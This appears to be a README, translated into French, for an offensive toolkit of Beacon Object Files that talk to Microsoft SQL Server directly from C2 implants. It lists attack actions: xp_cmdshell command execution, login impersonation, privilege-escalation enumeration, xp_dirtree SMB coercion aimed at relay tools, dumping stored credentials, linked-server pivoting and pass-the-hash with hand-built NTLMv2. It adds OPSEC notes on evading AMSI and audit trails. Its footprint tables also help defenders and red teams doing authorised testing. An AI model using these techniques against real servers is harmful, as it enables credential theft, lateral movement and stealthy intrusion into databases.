
Une suite de fichiers objet Beacon pour Microsoft SQL Server qui implémente le protocole TDS 7.4 directement sur le réseau.
Une suite de fichiers Beacon Object pour Microsoft SQL Server qui parle directement TDS 7.4 sur le fil, en C. Pas de msodbcsql.dll, pas de sqloledb.dll, pas de .NET CLR, pas de PowerShell. Un COFF par architecture, chargé dans chaque beacon qui respecte l'API Beacon canonique.
SQL Server apparaît dans presque chaque engagement. Les deux outils auxquels les gens recourent sont SQLRecon / PowerUpSQL (CLR + PowerShell) et tout ce qui encapsule sqlcmd.exe. Les deux laissent mscoree.dll, les événements PowerShell AMSI, ou une copie complète du pilote Microsoft ODBC résider dans la mémoire du beacon. Rien de tout cela n'est nécessaire : TDS est simplement des octets encadrés sur TCP avec une poignée de main Schannel devant, et chaque beacon compatible BOF a déjà ws2_32, secur32, schannel et bcrypt chargés.
Donc mssqlbof implémente TDS à la main, en C, et se branche directement sur les primitives SSPI ou BCrypt dont l'opérateur a besoin pour la cible. Beacon charge un objet d'environ 48 Ko, exécute SQL, décharge. Rien d'autre n'entre dans le processus.
Un fichier objet par architecture. mssql.x64.o est le même binaire sur chaque framework — nous utilisons uniquement l'API Beacon canonique (BeaconPrintf, BeaconDataExtract, etc.) et le motif d'import dynamique <LIB>$<fn> que les chargeurs COFF résolvent à l'exécution.
apt install gcc-mingw-w64 libssl-dev
make
Produit build/mssql.x64.o et build/mssql.x86.o. Déposez-les sur le serveur d'équipe, chargez-les avec l'exécuteur BOF de votre C2.
Tout passe par un seul fichier objet avec --action <verb> :
--action find LDAP enum of MSSQLSvc SPNs in the current forest
--action info --host <sql> server/version/current user/sysadmin/db
--action query --host <sql> --sql "..." arbitrary T-SQL, multi-row, multi-resultset
--action links --host <sql> linked-server enumeration (single hop)
--action exec --host <sql> --cmd "..." xp_cmdshell with auto enable + restore
--action impersonate --host <sql> --discover list logins you can EXECUTE AS
--action impersonate --host <sql> --login X --sql "..."
run T-SQL as X via EXECUTE AS LOGIN
--action privesc --host <sql> six-section privesc surface enumeration
--action coerce --host <sql> --to "\\listener\x"
xp_dirtree SMB auth coercion
--action passwords --host <sql> dump sys.linked_logins + sys.credentials
--action chain --host <sql> --via LINK --sql "..."
EXEC (...) AT [LinkedServer]
--action find s'exécute sans hôte — il parle au DC de l'opérateur via LDAP.
Quatre modes. Chaque mode est vérifié de bout en bout contre SQL Server 2019 dans COFFLoader et Adaptix C2 sur un vrai domaine.
--auth sspi (default) current beacon thread token
Kerberos if SPN exists, NTLM otherwise.
Honors make_token / steal_token.
--auth ntlm --domain D --user U --pass P explicit NTLM plaintext.
Drives SSPI NTLM package, multi-leg.
--auth ntlm --domain D --user U --hash <NT> pass-the-hash.
Hand-rolled NTLMv2 (see below).
No SSPI, no lsass, no make_token.
--auth sql --user U --pass P SQL authentication.
--hash accepte un hash NT hexadécimal de 32 caractères ou la forme LM:NT que secretsdump produit.
SSPI + SEC_WINNT_AUTH_IDENTITYAcquireCredentialsHandleW(NULL, "NTLM", ...) n'accepte que les mots de passe en clair dans la structure d'identité des informations d'identification. Le fournisseur NTLM en dérive le hash NT en interne. Lui fournir un hash nécessite de patcher lsass (ce que fait Mimikatz sekurlsa::pth) ou d'exécuter le beacon sous un processus sacrificiel déjà pré-authentifié.
L'alternative — celle que nous avons choisie — est de sauter SSPI pour le PTH et de générer nous-mêmes les messages NTLMSSP. src/tds/ntlm_pth.c construit un Type 1 NEGOTIATE, analyse le Type 2 CHALLENGE du serveur à partir du jeton TDS 0xED, exécute le calcul NTLMv2 avec le fournisseur HMAC-MD5 de bcrypt.dll, et écrit un Type 3 AUTHENTICATE que SQL Server transmet volontiers au DC.
La première version a échoué avec error 18452: login is from an untrusted domain. Capturer l'authentification fonctionnelle d'Impacket sur le fil à côté de la nôtre a rapidement réduit le problème : nous envoyions 24 zéros pour la réponse LMv2 et la soupe de flags Windows 0xe288... complète. Correspondre au calcul LMv2 d'Impacket et à son ensemble de flags plus petit 0xa2880205 (pas de KEY_EXCH, pas de SIGN, pas de ALWAYS_SIGN) a fait accepter le hash par le serveur. Article dans BLOG.
--action exec--impersonate auto (default) try EXECUTE AS LOGIN, then TRUSTWORTHY hop
--impersonate login EXECUTE AS LOGIN via an IMPERSONATE grant
--impersonate trustworthy hop through dbo of a sysadmin-owned TRUSTWORTHY db
--impersonate none fail if not sysadmin
privesc énumère la surface avant que vous choisissiez une méthode : appartenance sysadmin, droits IMPERSONATE (avec le statut sysadmin du login cible), bases de données TRUSTWORTHY possédées par un sysadmin (avec votre accès), serveurs liés, permissions au niveau serveur, et état de xp_cmdshell.
apt install gcc-mingw-w64 libssl-dev
make # cross-compile BOFs to x64 + x86
make tds # Linux shared library of the TDS core (for fuzzing / tests)
La bibliothèque partagée Linux partage chaque fichier source TDS avec la compilation Windows ; seuls tls_schannel.c / sspi.c / ntlm_pth.c sont remplacés par leurs équivalents OpenSSL / stub.
Rien n'appelle libc ou Win32 directement. Chaque symbole externe passe par la convention d'import dynamique <LIB>$<fn> dans src/common/dynimports.h. Vérifiez avec :
x86_64-w64-mingw32-objdump -t build/mssql.x64.o | grep UND
Seuls MSVCRT$*, WS2_32$*, SECUR32$*, BCRYPT$*, CRYPT32$*, SCHANNEL$*, WLDAP32$*, KERNEL32$*, ADVAPI32$* et __imp_Beacon* doivent apparaître. Pas de msodbcsql.dll. Pas de sqloledb.dll. Pas de mscoree.dll.
Tout TLS est du vrai Schannel (pas un stub) avec la bizarrerie d'encapsulation PRELOGIN de SQL Server gérée : la poignée de main s'exécute à l'intérieur des paquets TDS PRELOGIN de type 0x12, puis LOGIN7 sort en tant que données d'application TLS brutes, et le serveur répond à ce premier paquet de login en texte clair. Les continuations SSPI multi-leg vont également en texte clair — si vous les chiffrez avec TLS, SRV02 ferme simplement la socket.
v0.1.2 — multi-authentification, PTH, 11 actions, vérifié en laboratoire.
mssql.x64.o) avec 11 actionsexec : login, trustworthy, auto, noneCas limites connus :
OPENQUERY imbriquée est pour la v0.2.do_connect les draine — l'effet secondaire est la ligne [*] connected as ... que chaque action enregistre. La cause racine se trouve dans le chemin de lecture post-LOGINACK et sera corrigée dans la v0.2.Cobalt-Strike/bof_template pour la surface d'API Beacon canonique à laquelle ce projet adhère exactement.TrustedSec/COFFLoader pour un chargeur indépendant à tester.impacket's ntlm.py et mssqlclient.py — la référence contre laquelle nous avons fait la différence en poursuivant la soupe de flags NTLMv2.[MS-TDS] et [MS-NLMP] — les spécifications que tout ce fait main suit.Opus 4.6 — Certaines parties de la documentation ont été rédigées avec l'aide d'Opus 4.6. Tout le code est écrit à la main par MOI et vérifié de bout en bout en laboratoire.MIT.
| C2 | x64 | x86 |
|---|
| Cobalt Strike | yes | yes |
| Havoc | yes | yes |
| Sliver | yes | yes |
| BruteRatel | yes | yes |
| Nighthawk | yes | yes |
| Outflank Stage1 | yes | yes |
| AdaptixC2 | yes | yes |
Metasploit execute_bof | yes | yes |
| PoshC2 | yes | yes |
| Action | DLL supplémentaires au-dessus de la ligne de base beacon | Trace côté serveur | Notes |
|---|
find | wldap32 | Événement DC 1644 (rare) | LDAP uniquement, aucune interaction SQL |
info / query / links / privesc / passwords | secur32 ou bcrypt, schannel, ws2_32 | Audit SQL 33205 si activé | TDS pur, pas d'empreinte ODBC |
exec | idem | xp_cmdshell + sp_configure dans la trace par défaut | Bruyant. Utilisez --impersonate à partir d'un login faiblement privilégié pour éviter d'atterrir en tant que NT SERVICE |
impersonate | idem | Audit EXECUTE AS 33205 + 33206 | |
coerce | idem | Tentative xp_dirtree enregistrée | Dirigez-le vers responder / ntlmrelayx |
chain | idem | EXEC AT enregistré sur le serveur lié cible | Primitive de pivot |
| Doc | Contenu |
|---|
docs/PROTOCOL.md | Plongée approfondie dans TDS 7.4 : trame de paquets, flux d'options PRELOGIN, obfuscation du mot de passe LOGIN7, ALL_HEADERS sur SQLBatch, la grammaire du flux de jetons (COLMETADATA / ROW / NBCROW / DONE / LOGINACK / ENVCHANGE / continuation SSPI 0xED), la bizarrerie de la poignée de main TLS, la pompe NTLM multi-leg. |
docs/OPERATOR.md | Guide de laboratoire de bout en bout : compilation, mise en place d'un listener Adaptix, déploiement d'un beacon sur un hôte Windows, exécution de chaque action avec chaque mode d'authentification (y compris PTH), et notes de portabilité cross-C2. |
docs/OPSEC.md | Empreinte par action sur le fil et en mémoire. Ce que chaque action charge dans le beacon, ce qu'elle laisse dans les journaux d'audit SQL, et ce qu'un défenseur peut voir. |
docs/COMPATIBILITY.md | Matrice des frameworks C2, matrice des versions de SQL Server, et quels modes d'authentification sont vérifiés contre quelles cibles. |
BLOG | Le récit de débogage : comment l'implémentation du pass-the-hash a réellement été réalisée, avec des captures réseau, le leurre des zéros LMv2, et la diff tshark contre Impacket qui a tout débloqué. |